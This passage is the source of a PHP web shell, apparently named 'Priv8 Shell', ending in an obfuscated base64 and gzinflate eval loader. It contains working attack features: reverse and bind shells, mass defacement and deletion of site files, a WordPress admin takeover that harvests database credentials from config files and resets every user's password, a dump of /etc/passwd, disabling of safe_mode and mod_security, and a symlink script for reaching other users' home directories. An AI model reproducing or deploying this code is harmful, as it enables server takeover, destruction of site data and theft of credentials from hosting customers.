vc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
            echo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpp'>Perl</option><option value='bpc'>C</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='21'> Using: <label><select name='using'><option value='bcpy'>Python</option><option value='bcp'>Perl</option><option value='bcc'>C</option></select></label> <input type=submit value='submit'><br><br><br>\r\n\t</form><br>";
            if (isset($_POST['p1'])) {
                function cf($f, $t)
                {
                    $w = @fopen($f, "w") or @function_exists('file_put_contents');
                    if ($w) {
                        @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                        @fclose($w);
                    }
                }
                if ($_POST['p1'] == 'bpc') {
                    cf("/tmp/bp.c", $bind_port_c);
                    $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                    @unlink("/tmp/bp.c");
                    $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
                }
                if ($_POST['p1'] == 'bpp') {
                    cf("/tmp/bp.pl", $bind_port_p);
                    $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
                }
                if ($_POST['p1'] == 'bcc') {
                    cf("/tmp/bc.c", $back_connect_c);
                    $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                    @unlink("/tmp/bc.c");
                    $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
                }
                if ($_POST['p1'] == 'bcp') {
                    cf("/tmp/bc.pl", $back_connect_p);
                    $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
                }
                if ($_POST['p1'] == 'bcpy') {
                    cf("/tmp/bc.py", $back_connect_p);
                    $▖ = ex(which("perl") . " /tmp/bc.py " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.py") . "</pre>";
                }
            }
            echo "</div>";
            hardFooter();
        }
        // Back Connect Section END
        if (isset($_REQUEST['mas'])) {
            @ini_set('error_log', NULL);
            @ini_set('log_errors', 0);
            @ini_set('max_execution_time', 0);
            @ini_set('output_buffering', 0);
            @ini_set('display_errors', 0);
            echo "<center><form action=\"\" method=\"post\"> ";
            function edit_file($file, $index)
            {
                if (is_writable($file)) {
                    clear_fill($file, $index);
                    echo "<Span style='color:green;'><strong> [+] Done 100% Successfull </strong></span><br></center>";
                } else {
                    echo "<Span style='color:red;'><strong> [-] Failed :( </strong></span><br></center>";
                }
            }
            function hapus_Massal($dir, $namafile)
            {
                if (is_writable($dir)) {
                    $dira = scandir($dir);
                    foreach ($dira as $dirb) {
                        $dirc = "{$dir}/{$dirb}";
                        $lokasi = $dirc . '/' . $namafile;
                        if ($dirb === '.') {
                            if (file_exists("{$dir}/{$namafile}")) {
                                unlink("{$dir}/{$namafile}");
                            }
                        } elseif ($dirb === '..') {
                            if (file_exists("" . dirname($dir) . "/{$namafile}")) {
                                unlink("" . dirname($dir) . "/{$namafile}");
                            }
                        } else {
                            if (is_dir($dirc)) {
                                if (is_writable($dirc)) {
                                    if (file_exists($lokasi)) {
                                        echo "[<font color=red>DELETED</font>] {$lokasi}<br>";
                                        unlink($lokasi);
                                        $idx = hapus_Massal($dirc, $namafile);
                                    }
                                }
                            }
                        }
                    }
                }
            }
            function clear_fill($file, $index)
            {
                if (file_exists($file)) {
                    $handle = fopen($file, 'w');
                    fwrite($handle, '');
                    fwrite($handle, $index);
                    fclose($handle);
                }
            }
            function gass()
            {
                global $dirr, $index;
                chdir($dirr);
                $me = "input.php";
                $files = scandir($dirr);
                $notallow = array(".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config", "..", ".");
                sort($files);
                $n = 0;
                foreach ($files as $file) {
                    if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {
                        echo "<center><Span style='color: #8A8A8A;'><strong>{$dirr}/</span>{$file}</strong> ====> ";
                        edit_file($file, $index);
                        flush();
                        $n += 1;
                    }
                }
                echo "<br>";
                echo "<center><br><h3>{$n} Files Defaced </h3></center><br> ";
            }
            function ListFiles($dirrall)
            {
                if ($dh = opendir($dirrall)) {
                    $files = array();
                    $inner_files = array();
                    $me = "input.php";
                    $notallow = array($me, ".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config");
                    while ($file = readdir($dh)) {
                        if ($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow)) {
                            if (is_dir($dirrall . "/" . $file)) {
                                $inner_files = ListFiles($dirrall . "/" . $file);
                                if (is_array($inner_files)) {
                                    $files = array_merge($files, $inner_files);
                                }
                            } else {
                                array_push($files, $dirrall . "/" . $file);
                            }
                        }
                    }
                    closedir($dh);
                    return $files;
                }
            }
            function gass_all()
            {
                global $index;
                $dirrall = $_POST['d_dir'];
                foreach (ListFiles($dirrall) as $key => $file) {
                    $file = str_replace('//', "/", $file);
                    echo "<center><strong>{$file}</strong> ===>";
                    edit_file($file, $index);
                    flush();
                }
                $key += 1;
                echo "<center><br><h3>{$key} Files Defaced </h3></center><br>";
            }
            function sabun_Massal($dir, $namafile, $isi_script)
            {
                if (is_writable($dir)) {
                    $dira = scandir($dir);
                    foreach ($dira as $dirb) {
                        $dirc = "{$dir}/{$dirb}";
                        $lokasi = $dirc . '/' . $namafile;
                        if ($dirb === '.') {
                            file_put_contents($lokasi, $isi_script);
                        } elseif ($dirb === '..') {
                            file_put_contents($lokasi, $isi_script);
                        } else {
                            if (is_dir($dirc)) {
                                if (is_writable($dirc)) {
                                    echo "<font color=red>[ DONE ] </font><font color=white> {$lokasi}</font><br>";
                                    file_put_contents($lokasi, $isi_script);
                                    $idx = sabun_Massal($dirc, $namafile, $isi_script);
                                }
                            }
                        }
                    }
                }
            }
            if ($_POST['Mass'] == 'onedir') {
                echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\r\n";
                $ini = "http://";
                $mainpath = $_POST[d_dir];
                $file = $_POST[d_file];
                $dir = opendir("{$mainpath}");
                $code = base64_encode($_POST[script]);
                $indx = base64_decode($code);
                while ($row = readdir($dir)) {
                    $start = @fopen("{$row}/{$file}", "w+");
                    $finish = @fwrite($start, $indx);
                    if ($finish) {
                        echo "{$ini}{$row}/{$file}\r\n";
                    }
                }
                echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\r\n";
                $mainpath = $_POST[d_dir];
                $file = $_POST[d_file];
                $dir = opendir("{$mainpath}");
                $code = base64_encode($_POST[script]);
                $indx = base64_decode($code);
                while ($row = readdir($dir)) {
                    $start = @fopen("{$row}/{$file}", "w+");
                    $finish = @fwrite($start, $indx);
                    if ($finish) {
                        echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>';
                    }
                }
            } elseif ($_POST['Mass'] == 'sabunkabeh') {
                gass();
            } elseif ($_POST['Mass'] == 'hapusMassal') {
                hapus_Massal($_POST['d_dir'], $_POST['d_file']);
            } elseif ($_POST['Mass'] == 'sabunmematikan') {
                gass_all();
            } elseif ($_POST['Mass'] == 'Massdeface') {
                echo "<div style='margin: 5px auto; padding: 5px'>";
                sabun_Massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
                echo "</div>";
            } else {
                echo "<center>\t\t<font face='Open Sans' color='red' size='3' >Select Type:<br></font><select class=\"select\" name=\"Mass\"  style=\"width: 450px; background-color:#000000; color:#ffffff\" height=\"10\" ><option value=\"onedir\">Mass Deface 1 Dir</option>\t<option value=\"Massdeface\">Mass Deface ALL Dir</option><option value=\"sabunkabeh\">Current Dir All Files</option>\t<option value=\"sabunmematikan\">Replace Everything With Deface</option><option value=\"hapusMassal\">Mass Delete Files</option></center></select><br><font face='Open Sans' color='red' size='3' >Folder:</font><br>\t<input name='d_dir' value='" . getcwd() . "' required='' type='text' style='width: 450px; background-color:#000000; color:#ffffff' height='10'><br><font face='Open Sans' color='red' size='3' >Filename:</font><br><input type='text' name='d_file' value='index.html' style='width: 450px; background-color:#000000; color:#ffffff' height='10'><br><font face='Open Sans' color='red'  size='3' >Index File:</font><br>\r\n\t\r\n\t<textarea name='script' style='width: 450px; height: 200px; background-color:#000000; color:#ffffff '>    </textarea><br>\r\n\t\r\n\t<input type='submit' name='start' value='Mass Deface' style='width: 200px;'></form></center></div>";
            }
            die;
        }
        if (isset($_REQUEST['user'])) {
            echo "<html><head><title>Priv8 Shell Wp Mass User Changer</title></head>\r\n<style>\r\n@import 'https://fonts.googleapis.com/css?family=Open+Sans';\r\n\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Open Sans;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Open Sans;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Open Sans;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Open Sans;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #ff1111;\r\n}\r\nform{\r\n\tmargin-top: 10px;\r\n}\r\ninput[type=submit]{\r\n\tfont-size:13px;\r\n\theight: 25px;\r\n\twidth: 150px;\r\n\tborder: 2px solid red;\r\n\tcolor: white;\r\n\tbackground-color: black;\r\n\tfont-family: Open Sans;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #ff1111;\r\n}\r\ninput[type=text]{\r\n\tfont-family:Open Sans;\r\n\twidth: 400px;\r\n\theight: 25px;\r\n\tcolor: red;\r\n\tbackground: #000000;\r\n\tborder: 1px solid #ff1111;\r\n\tpadding: 5px;\r\n\ttext-align: center;\r\n\tfont-size:15px;\r\n}\t\r\ninput[type=text]:focus{\r\n\tbox-shadow: 0 0 3px #ff1111;\r\n}\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:25px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Open Sans;\r\n\ttext-shadow:0px 0px 20px red;\t\r\n}\r\n</style>\r\n</head>\r\n<center>\r\n\r\n<form method='post'>\r\n<input type='text' name='config' placeholder='Config URL Here'>\r\n<br><br>\r\n<input type='submit' name='ch' value='Change Admin'>\r\n</form>\r\n</center>";
            set_time_limit(0);
            error_reporting(0);
            if ($_POST['ch']) {
                $get2 = file_get_contents($_POST['config']);
                preg_match_all('#<a href="(.*?)"#', $get2, $config);
                foreach ($config[1] as $don) {
                    $get = file_get_contents($_POST['config'] . "/" . $don);
                    preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
                    foreach ($host[1] as $don) {
                        $host = $don;
                    }
                    preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass);
                    foreach ($pass[1] as $done) {
                        $password = $done;
                    }
                    preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
                    foreach ($user[1] as $done1) {
                        $user = $done1;
                    }
                    preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name);
                    foreach ($name[1] as $done2) {
                        $name = $done2;
                    }
                    preg_match_all("#{$table_prefix}  = '(.*?)'#", $get, $prefix);
                    foreach ($prefix[1] as $done3) {
                        $prefix = $done3;
                    }
                    $connect = mysqli_connect($host, $user, $password, $name);
                    if ($connect) {
                        $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name='siteurl'");
                        while ($siteurl = mysqli_fetch_array($query1)) {
                            $site_url = $siteurl['option_value'];
                        }
                        $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login='admin',user_pass='a09ac1f98189b89fd578b4fca7bf8bb2'");
                        if ($query2) {
                            echo "<center><span class=f>URL : <a href='{$site_url}/wp-login.php' target='_blank'>{$site_url}/wp-login.php</a><br><br>UserName : admin<br><br>Password : Priv8shell<br><br></span></center>";
                        }
                    }
                }
            }
            echo "</body></html>";
            die;
        }
        if (isset($_REQUEST['reseller'])) {
            echo "<html>  <body style='text-align: center'> <center> <table border='1' width='50%' cellspacing='0' cellpadding='15' style='border-width: 0px'> \t\t<tr> \t\t\t<td background='http://buyshellsites.com/bg.gif' style='border-style: none; border-width: medium'> <div align='center'>     <table border='1' width='100%' bgcolor='#000000' cellpadding='0' style='border-collapse: collapse' bordercolor='#333333'> \t<tr> \t\t \t\t<td width='100' align='center'> \t\t<font face='Courier New' size='2' color='#ff1111'>Reseller</font></td> \t\t<td width='100' align='center'> \t\t<font face='Courier New' size='2' color='#ff1111'>Accounts</font></td> \t\t<td width='100' align='center'> \t\t<font face='Courier New' size='2' color='#ff1111'>Symlink</font></td> \t\t \t</tr> </table>   <BR>";
            ## grabs resellerss file
            $lines = file("/etc/trueuserowners");
            ## split pure resellers's names
            for ($i = 0; $i < count($lines); $i++) {
                $values2 = split(': ', $lines[$i]);
                $resellers[$i] = $values2['1'];
            }
            ## remove duplicated resellerss and empty values
            $resellers = array_unique($resellers);
            $resellers = array_filter($resellers);
            foreach ($resellers as $reseller) {
                $count = 0;
                for ($i = 0; $i < count($lines); $i++) {
                    if (strpos($lines[$i], ": {$reseller}")) {
                        $count += 1;
                    }
                }
                print '<table border="1" width="100%" bgcolor="#333333" cellpadding="0"  style="border-collapse: collapse" bordercolor="#000000">
	<tr>
		
		<td width="100" align="center">
		<font face="Courier New" size="2" color="#ff1111">' . $reseller . '</font></td>
		<td width="100" align="center">
		<font face="Courier New" size="2" color="#ff1111">' . $count . '</font></td>
		<td width="100" align="center">
		<a href="./sym1/root/home/' . $reseller . '/public_html/" target="_blank"><font face="Courier New" size="2" color="#ff1111">Symlink</font></td>

	</tr>
</table>



<BR></center> </body>  </html>';
            }
            die;
        }
        if (isset($_REQUEST['passwd'])) {
            @ini_set('error_log', NULL);
            @ini_set('log_errors', 0);
            @ini_set('max_execution_time', 0);
            @ini_set('output_buffering', 0);
            @ini_set('display_errors', 0);
            echo "<center>";
            echo "<textarea class='inputz' cols='90' rows='20'>";
            for ($uid = 0; $uid < 60000; $uid++) {
                $ara = posix_getpwuid($uid);
                if (!empty($ara)) {
                    while (list($key, $val) = each($ara)) {
                        print "{$val}:";
                    }
                    print "\r\n";
                }
            }
            echo "</textarea><br><br>";
            die;
        }
        if (isset($_REQUEST['disabled'])) {
            echo "<html>\r\n\r\n<head>\r\n<meta http-equiv='pragma' content='no-cache'>\r\n</head><body>";
            $fp = fopen("php.ini", "w+");
            fwrite($fp, "safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF ");
            echo "<center><b><font color='white' size='4'>[SafeMode Done]</font></center>";
            echo "";
            $fp2 = fopen(".htaccess", "w+");
            fwrite($fp2, "\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n");
            echo "<center><b> <font color='white' size='4'>[Mod_Security Done]</font></center>";
            die;
        }
        if (isset($_REQUEST['sym'])) {
            error_reporting(0);
            $sym_dir = mkdir('priv_sympy', 0755);
            chdir('priv_sympy');
            $file_sym = "sym.py";
            $sym_script = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCgpvcy5tYWtlZGlycygnc3ltJykKb3MuY2hkaXIoJ3N5bScpCgpzdXNyPVtdCnNpdGV4PVtdCm9zLnN5c3RlbSgibG4gLXMgLyBwcml2OC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHByaXY4LnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIgptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQptLndyaXRlKGgpCm0uY2xvc2UoKQpwcmludCBodGEKCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+UHJpdjggU215bGluazxicj48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJwcml2OC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9cHJpdjgudHh0L2hvbWUvJXMlcyB0YXJnZXQ9X2JsYW5rID4lczwvYT48L3RkPiIlKGNvdW50ZXIsZnVzcixmdXNyLHBhdGgsZnNpdGUpKQoJCQljb3VudGVyPWNvdW50ZXIrMQ==";
            $sym = fopen($file_sym, "w");
            fwrite($sym, "#/*Python\n\nimport time\nimport os\nimport sys\nimport re\n\nos.system(\"color C\")\n\nhta = \"\\nFile : .htaccess // Created Successfully!\\n\"\nf = \"All Processes Done!\\nSymlink Bypassed Successfully!\\n\"\nprint \"\\n\"\n\nos.makedirs('sym')\nos.chdir('sym')\n\nsusr=[]\nsitex=[]\nos.system(\"ln -s / priv8.txt\")\n\nh = \"Options Indexes FollowSymLinks\\nDirectoryIndex priv8.phtml\\nAddType txt .php\\nAddHandler txt .php\"\nm = open(\".htaccess\",\"w+\")\nm.write(h)\nm.close()\nprint hta\n\nsf = \"<html><title>Symlink Python</title><center><font color=white size=5>Priv8 Smylink<br></font><br><font color=white size=3><table>\"\n\no = open('/etc/passwd','r')\no=o.read()\no = re.findall('/home/\\w+',o)\n\nfor xusr in o:\n\txusr=xusr.replace('/home/','')\n\tsusr.append(xusr)\nprint \"-\"*30\nxsite = os.listdir(\"/var/named\")\n\nfor xxsite in xsite:\n\txxsite=xxsite.replace(\".db\",\"\")\n\tsitex.append(xxsite)\nprint f\npath=os.getcwd()\nif \"/public_html/\" in path:\n\tpath=\"/public_html/\"\nelse:\n\tpath = \"/html/\"\ncounter=1\nips=open(\"priv8.phtml\",\"w\")\nips.write(sf)\n\nfor fusr in susr:\n\tfor fsite in sitex:\n\t\tfu=fusr[0:5]\n\t\ts=fsite[0:5]\n\t\tif fu==s:\n\t\t\tips.write(\"<body bgcolor=black><tr><td style=font-family:calibri;font-weight:bold;color:white;>%s</td><td style=font-family:calibri;font-weight:bold;color:red;>%s</td><td style=font-family:calibri;font-weight:bold;><a href=priv8.txt/home/%s%s target=_blank >%s</a></td>\"%(counter,fusr,fusr,path,fsite))\n\t\t\tcounter=counter+1");
            chmod($file_sym, 0755);
            $khoer = exec("python sym.py");
            echo "<br><center><font color='white'>Done ...</font> <a href='priv_sympy/sym/' target='_blank'><font color='red'>Click Here</font> </a>";
            die;
        }
        // xd
        if (empty($_POST['a'])) {
            if (isset($▚) && function_exists('action' . $▚)) {
                $_POST['a'] = $▚;
            } else {
                $_POST['a'] = 'FilesMan';
            }
        }
        if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
            call_user_func('action' . $_POST['a']);
        }
    };
};
exit;


Original code

<?pHp
$xD = "de12f5798f86bdcc5c759a645e913e4c"; //Pass:  anjay
$xD="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $HEx="=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